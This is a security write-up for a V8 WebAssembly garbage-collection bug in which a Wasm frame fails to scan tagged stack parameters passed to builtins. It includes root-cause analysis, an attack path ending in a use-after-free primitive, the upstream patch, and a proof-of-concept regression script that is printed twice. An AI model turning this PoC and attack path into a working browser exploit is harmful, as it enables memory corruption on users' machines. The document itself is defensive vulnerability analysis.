CVE-2026-118316
Overview
Background
- WasmFrame::Iterate()
- The V8 garbage-collection stack-walker for WebAssembly frames (
src/execution/frames.cc). During GC it must visit (report as roots) every tagged (object) pointer that lives in a Wasm frame — locals, spill slots, and any tagged outgoing parameters — so the GC can trace and relocate them. - Tagged outgoing stack parameters
- When a function passes object (tagged) arguments to a callee on the stack (rather than in registers), those slots hold live heap pointers the GC must know about. On ia32, TFS builtins with ≥4 parameters (e.g.
CallIndirectIC) pass tagged params on the stack. - StubFrame / builtin callee
- A callee builtin’s
StubFrameexpects the caller frame to scan the outgoing stack parameters, because the parameters sit in the caller’s frame region atsp(). - CallInterfaceDescriptor
- Describes a builtin’s calling convention, including
GetStackParameterCount()and flags such askNoStackScan(which marks descriptors whose stack parameters must not be scanned) andAllowVarArgs(). - Compacting GC / stress-compaction
- A moving GC relocates live objects and rewrites pointers it finds via roots. A tagged pointer the GC fails to visit is neither kept alive nor updated, leaving a stale/dangling pointer after collection.
Root Cause Analysis
WasmFrame::Iterate() computed has_tagged_outgoing_params as true only for frames that are not kWasmFunction and not kWasmToCapiWrapper, and only then visited the outgoing stack parameters at sp(). For a kWasmFunction frame, it skipped outgoing-parameter scanning entirely, on the assumption that a Wasm function’s callee (another Wasm function, or WasmToJsWrapperCSA) scans its own incoming stack parameters. That assumption breaks when a Wasm function calls a builtin that takes tagged parameters on the stack (such as CallIndirectIC on ia32 with ≥4 params): the builtin’s StubFrame expects the caller — the Wasm frame — to scan those outgoing tagged slots, but WasmFrame::Iterate() did not. The violated invariant is the GC completeness invariant: every live tagged pointer on the stack must be visited exactly once during root scanning. Here, the tagged outgoing parameters (e.g. a WasmTrustedInstanceData or an argument passed into the IC) were not visited by either the caller frame or the callee builtin frame, so during a compacting GC they were neither kept alive nor relocated — leaving a stale pointer that is subsequently used.
The advisory labels this “Improper input validation in V8,” but the diff shows a GC root-scanning / stack-walking bug that produces a dangling tagged pointer — a use-after-free / memory-corruption class, not input validation; the discrepancy is noted. The fix restructures the if (!InFastCCall()) branch: it keeps the existing path for has_tagged_outgoing_params, and adds an else if for kWasmFunction frames with a non-null callee_pc(). It looks up the callee via OffHeapInstructionStream::TryLookupCode(isolate(), callee_pc()); if it is a builtin, it fetches the CallInterfaceDescriptor, asserts no var-args, and — unless the descriptor has the kNoStackScan flag — visits GetStackParameterCount() tagged slots starting at sp(). A DCHECK_IMPLIES enforces that WasmToJsWrapperCSA has zero such stack params (that case remains handled by the callee). The regression test (regress-574223268.js, run under --stress-compaction) builds a call_indirect site, makes it monomorphic, then forces the monomorphic-miss FixedArray allocation inside CallIndirectIC to trigger a compacting GC while WasmTrustedInstanceData is on the stack — exactly reproducing the unscanned/unrelocated tagged parameter.
WasmFrame::Iterate() never scanned the tagged outgoing stack parameters that a Wasm function passes to a builtin callee (neither frame did), so a compacting GC left those object pointers stale — a missing GC root causing a dangling tagged pointer.Attack Path
- Craft module
Script builds a Wasm module whose call site uses
call_indirectto a signature whose lowering routes tagged parameters through a builtin that passes them on the stack (CallIndirectIC; on ia32 the ≥4-stack-param shape). (The PoC usesWasmModuleBuilderwith a table and two targets.) - Reach the IC path
Compile both callees, make the indirect call site monomorphic on one target, then call a second target to force the IC’s monomorphic-miss handling (which allocates a
FixedArray). - Force compaction mid-call
The miss-handler allocation triggers a (compacting) GC while the builtin is executing and the tagged outgoing parameters (e.g.
WasmTrustedInstanceData) are live on the Wasm caller frame’s stack. (--stress-compaction/%SimulateNewspaceFull()in the PoC make this deterministic.) - Stale pointer
Because
WasmFrame::Iterate()didn’t visit those slots, the GC neither keeps nor relocates the referenced object; the stack slot now points to moved/freed memory. - Primitive Subsequent use of the stale tagged pointer (e.g. the instance data) after relocation/collection yields a use-after-free / type-confused object access in V8 — a strong, scriptable memory-corruption primitive (full exploit chain inferred).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/execution/frames.cc |
modified | |
fortest/mjsunit/regress/wasm/regress-574223268.js |
modified |
Files Changed
test/mjsunit/regress/wasm/regress-574223268.jssrc/execution/frames.cctest/mjsunit/mjsunit.status
Audit Directions
- Other frame iterators and outgoing-param scanningReview
TypedFrame/StubFrame/builtin-continuation frameIterate()implementations for the symmetric assumption that “the callee scans its incoming params,” especially where a frame can call a builtin with tagged stack parameters. - kNoStackScan / descriptor flags coverageAudit
CallInterfaceDescriptors used as Wasm→builtin callees to confirm thekNoStackScanflag is set exactly on those whose stack slots must not be scanned, and that none mislabel tagged params as untagged. - ia32 / ≥4-stack-param builtinsEnumerate TFS builtins that pass tagged parameters on the stack (platform-dependent, notably ia32) reachable from Wasm, and verify each has caller- or callee-side root scanning.
- GC-during-IC allocation sitesLook for other IC/allocation points reachable from Wasm that can trigger GC while tagged values sit in unscanned caller stack regions.
Patch
From 11a31ce52ce0b1b2b637929562ebbed8ea3dbb38 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Wed, 21 Oct 2026 14:00:02 +0000
Subject: [PATCH] [wasm] Scan outgoing stack parameters from Wasm to builtins
When a Wasm function calls a builtin that passes tagged parameters on
the stack (e.g. TFS builtins with >= 4 parameters on ia32 such as
CallIndirectIC), the callee's StubFrame expects the caller frame to
scan those outgoing stack parameters during GC. Previously,
WasmFrame::Iterate skipped outgoing parameters for kWasmFunction frames.
Check in WasmFrame::Iterate whether the callee is a builtin whose
CallInterfaceDescriptor allows stack scanning, and visit its
GetStackParameterCount() outgoing stack slots starting at sp().
TAG=agy
CONV=96b1f648-2589-484a-a505-7ed7a444bec1
Fixed: 574223268
Change-Id: Ie725f7e5bbf009434509e44c0ccfca428099403a
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8616353
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Commit-Queue: Clemens Backes <clemensb@chromium.org>
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/heads/main@{#111022}
---
diff --git a/src/execution/frames.cc b/src/execution/frames.cc
index 7dadd16..f6f83cd 100644
--- a/src/execution/frames.cc
+++ b/src/execution/frames.cc
@@ -1912,10 +1912,35 @@
bool has_tagged_outgoing_params =
wasm_code->kind() != wasm::WasmCode::kWasmFunction &&
wasm_code->kind() != wasm::WasmCode::kWasmToCapiWrapper;
- if (!InFastCCall() && has_tagged_outgoing_params) {
- FullObjectSlot parameters_base(&Memory<Address>(sp()));
- v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base,
- parameters_limit);
+ if (!InFastCCall()) {
+ if (has_tagged_outgoing_params) {
+ FullObjectSlot parameters_base(&Memory<Address>(sp()));
+ v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base,
+ parameters_limit);
+ } else if (wasm_code->kind() == wasm::WasmCode::kWasmFunction &&
+ callee_pc() != kNullAddress) {
+ // If a Wasm function calls a builtin with tagged stack parameters,
+ // visit those parameters. (Calls to other Wasm functions or to
+ // WasmToJsWrapperCSA have their tagged stack parameters visited by the
+ // callee frame instead.)
+ Builtin builtin =
+ OffHeapInstructionStream::TryLookupCode(isolate(), callee_pc());
+ if (Builtins::IsBuiltinId(builtin)) {
+ CallInterfaceDescriptor descriptor =
+ Builtins::CallInterfaceDescriptorFor(builtin);
+ DCHECK(!descriptor.AllowVarArgs());
+ if (!(descriptor.flags() & CallInterfaceDescriptorData::kNoStackScan)) {
+ int stack_params = descriptor.GetStackParameterCount();
+ DCHECK_IMPLIES(builtin == Builtin::kWasmToJsWrapperCSA,
+ stack_params == 0);
+ if (stack_params > 0) {
+ FullObjectSlot parameters_base(&Memory<Address>(sp()));
+ v->VisitRootPointers(Root::kStackRoots, nullptr, parameters_base,
+ parameters_base + stack_params);
+ }
+ }
+ }
+ }
}
// Visit pointer spill slots and locals.
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index af1b334..a2f5a8d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -3038,6 +3038,7 @@
'regress/wasm/regress-543901836': [SKIP],
'regress/wasm/regress-560536735': [SKIP],
'regress/wasm/regress-561660149': [SKIP],
+ 'regress/wasm/regress-574223268': [SKIP],
'compiler/regress-347724915': [SKIP],
'regress/regress-crbug-418520151': [SKIP],
'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-574223268.js b/test/mjsunit/regress/wasm/regress-574223268.js
new file mode 100644
index 0000000..edbbaa7
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-574223268.js
@@ -0,0 +1,55 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stress-compaction
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function buildModule(numTargets, tableSize = numTargets) {
+ const builder = new WasmModuleBuilder();
+ builder.addMemory(1, 1);
+ const sig_v_v = builder.addType(kSig_v_v);
+ const sig_v_i = builder.addType(kSig_v_i);
+ const funcs = [];
+ for (let i = 0; i < numTargets; i++) {
+ const f = builder.addFunction('f' + i, sig_v_v)
+ .addBody([
+ kExprI32Const, 0,
+ kExprI32Const, 42 + i,
+ kExprI32StoreMem, 0, 0,
+ ])
+ .exportFunc();
+ funcs.push(f.index);
+ }
+ builder.addFunction('call', sig_v_i)
+ .addBody([
+ kExprLocalGet, 0,
+ kExprCallIndirect, sig_v_v, kTableZero,
+ ])
+ .exportFunc();
+ builder.setTableBounds(tableSize, tableSize);
+ builder.addActiveElementSegment(0, wasmI32Const(0), funcs);
+ return builder.toModule();
+}
+
+// Fill the bootstrap trusted page(s) (which are marked never_evacuate) so that
+// subsequent trusted objects land on movable pages.
+const filler = [];
+const fillerModule = buildModule(1, 2000);
+for (let i = 0; i < 64; i++) {
+ filler.push(new WebAssembly.Instance(fillerModule));
+}
+
+const targetModule = buildModule(2);
+const instance = new WebAssembly.Instance(targetModule);
+
+// Compile both callees up front.
+instance.exports.f0();
+instance.exports.f1();
+// Make the call site monomorphic on target 0.
+instance.exports.call(0);
+// Force the monomorphic-miss FixedArray allocation inside CallIndirectIC to
+// trigger a compacting GC while WasmTrustedInstanceData is on the stack.
+%SimulateNewspaceFull();
+instance.exports.call(1);
Regression Test / PoC
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index af1b334..a2f5a8d 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -3038,6 +3038,7 @@
'regress/wasm/regress-543901836': [SKIP],
'regress/wasm/regress-560536735': [SKIP],
'regress/wasm/regress-561660149': [SKIP],
+ 'regress/wasm/regress-574223268': [SKIP],
'compiler/regress-347724915': [SKIP],
'regress/regress-crbug-418520151': [SKIP],
'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-574223268.js b/test/mjsunit/regress/wasm/regress-574223268.js
new file mode 100644
index 0000000..edbbaa7
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-574223268.js
@@ -0,0 +1,55 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --stress-compaction
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function buildModule(numTargets, tableSize = numTargets) {
+ const builder = new WasmModuleBuilder();
+ builder.addMemory(1, 1);
+ const sig_v_v = builder.addType(kSig_v_v);
+ const sig_v_i = builder.addType(kSig_v_i);
+ const funcs = [];
+ for (let i = 0; i < numTargets; i++) {
+ const f = builder.addFunction('f' + i, sig_v_v)
+ .addBody([
+ kExprI32Const, 0,
+ kExprI32Const, 42 + i,
+ kExprI32StoreMem, 0, 0,
+ ])
+ .exportFunc();
+ funcs.push(f.index);
+ }
+ builder.addFunction('call', sig_v_i)
+ .addBody([
+ kExprLocalGet, 0,
+ kExprCallIndirect, sig_v_v, kTableZero,
+ ])
+ .exportFunc();
+ builder.setTableBounds(tableSize, tableSize);
+ builder.addActiveElementSegment(0, wasmI32Const(0), funcs);
+ return builder.toModule();
+}
+
+// Fill the bootstrap trusted page(s) (which are marked never_evacuate) so that
+// subsequent trusted objects land on movable pages.
+const filler = [];
+const fillerModule = buildModule(1, 2000);
+for (let i = 0; i < 64; i++) {
+ filler.push(new WebAssembly.Instance(fillerModule));
+}
+
+const targetModule = buildModule(2);
+const instance = new WebAssembly.Instance(targetModule);
+
+// Compile both callees up front.
+instance.exports.f0();
+instance.exports.f1();
+// Make the call site monomorphic on target 0.
+instance.exports.call(0);
+// Force the monomorphic-miss FixedArray allocation inside CallIndirectIC to
+// trigger a compacting GC while WasmTrustedInstanceData is on the stack.
+%SimulateNewspaceFull();
+instance.exports.call(1);